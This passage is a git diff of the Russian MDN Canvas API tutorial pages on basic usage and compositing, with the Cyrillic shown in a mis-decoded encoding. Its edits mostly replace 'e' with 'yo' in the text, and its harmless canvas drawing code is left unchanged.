Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ Π΅Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ рисования. <code>getContext()</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ‚ΠΈΠΏ контСкста. Для 2D Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, которая ΠΎΡ…Π²Π°Ρ‡Π΅Π½Π° этим руководством Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΡƒΒ "2d".</p>
+<p>Π₯олст ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ пустой ΠΈ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ. ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ скрипт ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊ контСксту ΠΈ отрисовываСт Π΅Π³ΠΎ. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("canvas")}} ΠΈΠΌΠ΅Π΅Ρ‚Β <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">ΠΌΠ΅Ρ‚ΠΎΠ΄</a>Β <code>getContext()</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния контСкста Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ Π΅Ρ‘ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ рисования. <code>getContext()</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ‚ΠΈΠΏ контСкста. Для 2D Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, которая ΠΎΡ…Π²Π°Ρ‡Π΅Π½Π° этим руководством Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΡƒΒ "2d".</p>
<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial');
var ctx = canvas.getContext('2d');
@@ -109,7 +109,7 @@ if (canvas.getContext){
&lt;/html&gt;
</pre>
-<p>Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ draw(), которая выполнится, ΠΊΠΎΠ³Π΄Π° страница Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ. Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Π΅ΠΌ события {{event("load")}} Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚Π° функция ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° ΠΊΠ°ΠΊ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹, Ρ‚Π°ΠΊ ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²Β {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ события, ΠΊΠΎΠ³Π΄Π° страница Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°.</p>
+<p>Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ draw(), которая выполнится, ΠΊΠΎΠ³Π΄Π° страница Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ. Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ события {{event("load")}} Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚Π° функция ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° ΠΊΠ°ΠΊ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹, Ρ‚Π°ΠΊ ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²Β {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ события, ΠΊΠΎΠ³Π΄Π° страница Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°.</p>
<p>Π’ΠΎΡ‚ ΠΊΠ°ΠΊ шаблон Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π² дСйствии.</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/compositing/index.html b/files/ru/web/api/canvas_api/tutorial/compositing/index.html
index bac6986141..4e4df0bef6 100644
--- a/files/ru/web/api/canvas_api/tutorial/compositing/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/compositing/index.html
@@ -14,11 +14,11 @@ original_slug: Web/API/Canvas_API/Tutorial/ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ
<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
-<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π·Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹, Π½ΠΎ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΌΠ°ΡΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ участки, ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΎΡ‚ холста (Π½Π΅ ограничиваСтся ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°ΠΌΠΈ, ΠΊΠ°ΠΊ{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
+<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π·Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹, Π½ΠΎ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΌΠ°ΡΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ участки, ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΎΡ‚ холста (Π½Π΅ ограничиваСтся ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°ΠΌΠΈ, ΠΊΠ°ΠΊ{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
<dl>
<dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}</dt>
- <dd>Π­Ρ‚ΠΎ Π·Π°Π΄Π°Π΅Ρ‚ Π’ΠΈΠΏ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ для примСнСния ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ, Π³Π΄Π΅ Π’ΠΈΠΏ являСтся строкой, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· Π΄Π²Π΅Π½Π°Π΄Ρ†Π°Ρ‚ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ‚ΠΈΠ½Π³ Π² использовании.</dd>
+ <dd>Π­Ρ‚ΠΎ Π·Π°Π΄Π°Ρ‘Ρ‚ Π’ΠΈΠΏ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ для примСнСния ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ, Π³Π΄Π΅ Π’ΠΈΠΏ являСтся строкой, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· Π΄Π²Π΅Π½Π°Π΄Ρ†Π°Ρ‚ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ‚ΠΈΠ½Π³ Π² использовании.</dd>
</dl>
<p>Π‘ΠΌ.Β  <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing/Example">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ</a> ΠΊΠΎΠ΄Π° ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².</p>
@@ -27,9 +27,9 @@ original_slug: Web/API/Canvas_API/Tutorial/ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ
<h2 id="Clipping_paths" name="Clipping_paths">ΠžΠ±Ρ€Π΅Π·ΠΊΠ° ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ²</h2>
-<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">ΠžΡ‚ΡΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΉΒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ холста, Π½ΠΎ ΠΎΠ½ дСйствуСт ΠΊΠ°ΠΊ маска, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ части Ρ„ΠΈΠ³ΡƒΡ€. Π­Ρ‚ΠΎ визуализируСтся Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ справа. Π€ΠΎΡ€ΠΌΠ° красной Π·Π²Π΅Π·Π΄Ρ‹ - наша отправочная Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°. ВсС, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ этого ΠΏΡƒΡ‚ΠΈ, Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ нарисовано Π½Π° холстС.</p>
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">ΠžΡ‚ΡΠ΅Ρ‡Ρ‘Π½Π½Ρ‹ΠΉΒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ холста, Π½ΠΎ ΠΎΠ½ дСйствуСт ΠΊΠ°ΠΊ маска, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ части Ρ„ΠΈΠ³ΡƒΡ€. Π­Ρ‚ΠΎ визуализируСтся Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ справа. Π€ΠΎΡ€ΠΌΠ° красной Π·Π²Π΅Π·Π΄Ρ‹ - наша отправочная Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°. ВсС, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ этого ΠΏΡƒΡ‚ΠΈ, Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ нарисовано Π½Π° холстС.</p>
-<p>Если ΠΌΡ‹ сравниваСм отсСчСнный ΠΊΠΎΠ½Ρ‚ΡƒΡ€ со свойством <code>globalCompositeOperation</code> Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ Π΄Π²Π° Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ‚ΠΈΠ½Π³Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΡΡ‚ΠΈΠ³Π°ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ эффСкта Π² исходном ΠΈ исходном состоянии.   НаиболСС Π²Π°ΠΆΠ½Ρ‹Π΅ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ отсСчСниС ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° фактичСски Β Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ обращаСтся ΠΊ холсту ΠΈ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΎΠ±Ρ€Π΅Π·ΠΊΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ влияСт Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ. Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π΅Π·ΠΊΡƒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°Β ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ для рисования Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΈΠ³ΡƒΡ€ Π² ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ области.</p>
+<p>Если ΠΌΡ‹ сравниваСм отсСчённый ΠΊΠΎΠ½Ρ‚ΡƒΡ€ со свойством <code>globalCompositeOperation</code> Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ Π΄Π²Π° Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ‚ΠΈΠ½Π³Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΡΡ‚ΠΈΠ³Π°ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ эффСкта Π² исходном ΠΈ исходном состоянии.   НаиболСС Π²Π°ΠΆΠ½Ρ‹Π΅ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ отсСчСниС ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° фактичСски Β Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ обращаСтся ΠΊ холсту ΠΈ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΎΠ±Ρ€Π΅Π·ΠΊΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ влияСт Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ. Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π΅Π·ΠΊΡƒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°Β ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ для рисования Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΈΠ³ΡƒΡ€ Π² ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ области.</p>
<p>Π’ Π³Π»Π°Π²Π΅ ΠΎ <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">рисовании Ρ„ΠΎΡ€ΠΌ</a>, я Π½Π°Π·Π²Π°Π» Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>stroke()</code> ΠΈ <code>fill()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Π½ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ способ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°ΠΌΠΈ, Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <code>clip()</code>.</p>
@@ -44,7 +44,7 @@ original_slug: Web/API/Canvas_API/Tutorial/ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ
<h3 id="A_clip_example" name="A_clip_example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠ±Ρ€Π΅Π·ΠΊΠΈ</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΡ€ΡƒΠ³ΠΎΠ²ΡƒΡŽ ΠΎΠ±Ρ€Π΅Π·ΠΊΡƒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ рисованиС Π½Π°Π±ΠΎΡ€Π° случайных Π·Π²Π΅Π·Π΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΡ€ΡƒΠ³ΠΎΠ²ΡƒΡŽ ΠΎΠ±Ρ€Π΅Π·ΠΊΡƒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ рисованиС Π½Π°Π±ΠΎΡ€Π° случайных Π·Π²Ρ‘Π·Π΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ.</p>
<pre class="brush: js;highlight[9]">function draw() {
var ctx = document.getElementById('canvas').getContext('2d');
@@ -100,9 +100,9 @@ function drawStar(ctx, r) {
<pre class="brush: js">draw();</pre>
</div>
-<p>Π’ ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строках ΠΊΠΎΠ΄Π° ΠΌΡ‹ рисуСм Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ с холстом Π² качСствС Ρ„ΠΎΠ½Π°, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΠΌ Π½Π°Ρ‡Π°Π»ΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π² Ρ†Π΅Π½Ρ‚Ρ€. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм ΠΊΡ€ΡƒΠ³ΠΎΠ²ΠΎΠΉ ΠΎΠ±Ρ‚Ρ€Π°Π²ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€, рисуя Π΄ΡƒΠ³Ρƒ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ <code>clip()</code>. ΠžΠ±Ρ€Π΅Π·Π°Π½Π½Ρ‹Π΅Β ΠΊΠΎΠ½Ρ‚ΡƒΡ€Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ состояния сохранСния холста. Если Π±Ρ‹ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ исходный ΠΎΠ±Ρ‚Ρ€Π°Π²ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ состояниС холста ΠΏΠ΅Ρ€Π΅Π΄ созданиСм Π½ΠΎΠ²ΠΎΠ³ΠΎ.</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строках ΠΊΠΎΠ΄Π° ΠΌΡ‹ рисуСм Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ с холстом Π² качСствС Ρ„ΠΎΠ½Π°, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΠΌ Π½Π°Ρ‡Π°Π»ΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π² Ρ†Π΅Π½Ρ‚Ρ€. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём ΠΊΡ€ΡƒΠ³ΠΎΠ²ΠΎΠΉ ΠΎΠ±Ρ‚Ρ€Π°Π²ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€, рисуя Π΄ΡƒΠ³Ρƒ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ <code>clip()</code>. ΠžΠ±Ρ€Π΅Π·Π°Π½Π½Ρ‹Π΅Β ΠΊΠΎΠ½Ρ‚ΡƒΡ€Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ состояния сохранСния холста. Если Π±Ρ‹ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ исходный ΠΎΠ±Ρ‚Ρ€Π°Π²ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ состояниС холста ΠΏΠ΅Ρ€Π΅Π΄ созданиСм Π½ΠΎΠ²ΠΎΠ³ΠΎ.</p>
-<p>ВсС, Ρ‡Ρ‚ΠΎ нарисовано послС создания отсСчСнного ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°, появится Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ этого ΠΏΡƒΡ‚ΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ это Ρ‡Π΅Ρ‚ΠΊΠΎ Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΌ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нарисован Π΄Π°Π»Π΅Π΅. ПослС этого набираСтся Π½Π°Π±ΠΎΡ€ ΠΈΠ· 50 случайно располоТСнных ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π·Π²Π΅Π·Π΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>drawStar()</code>. Π‘Π½ΠΎΠ²Π° Π·Π²Π΅Π·Π΄Ρ‹ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‚Ρ€Π°Π²ΠΎΡ‡Π½ΠΎΠ³ΠΎ 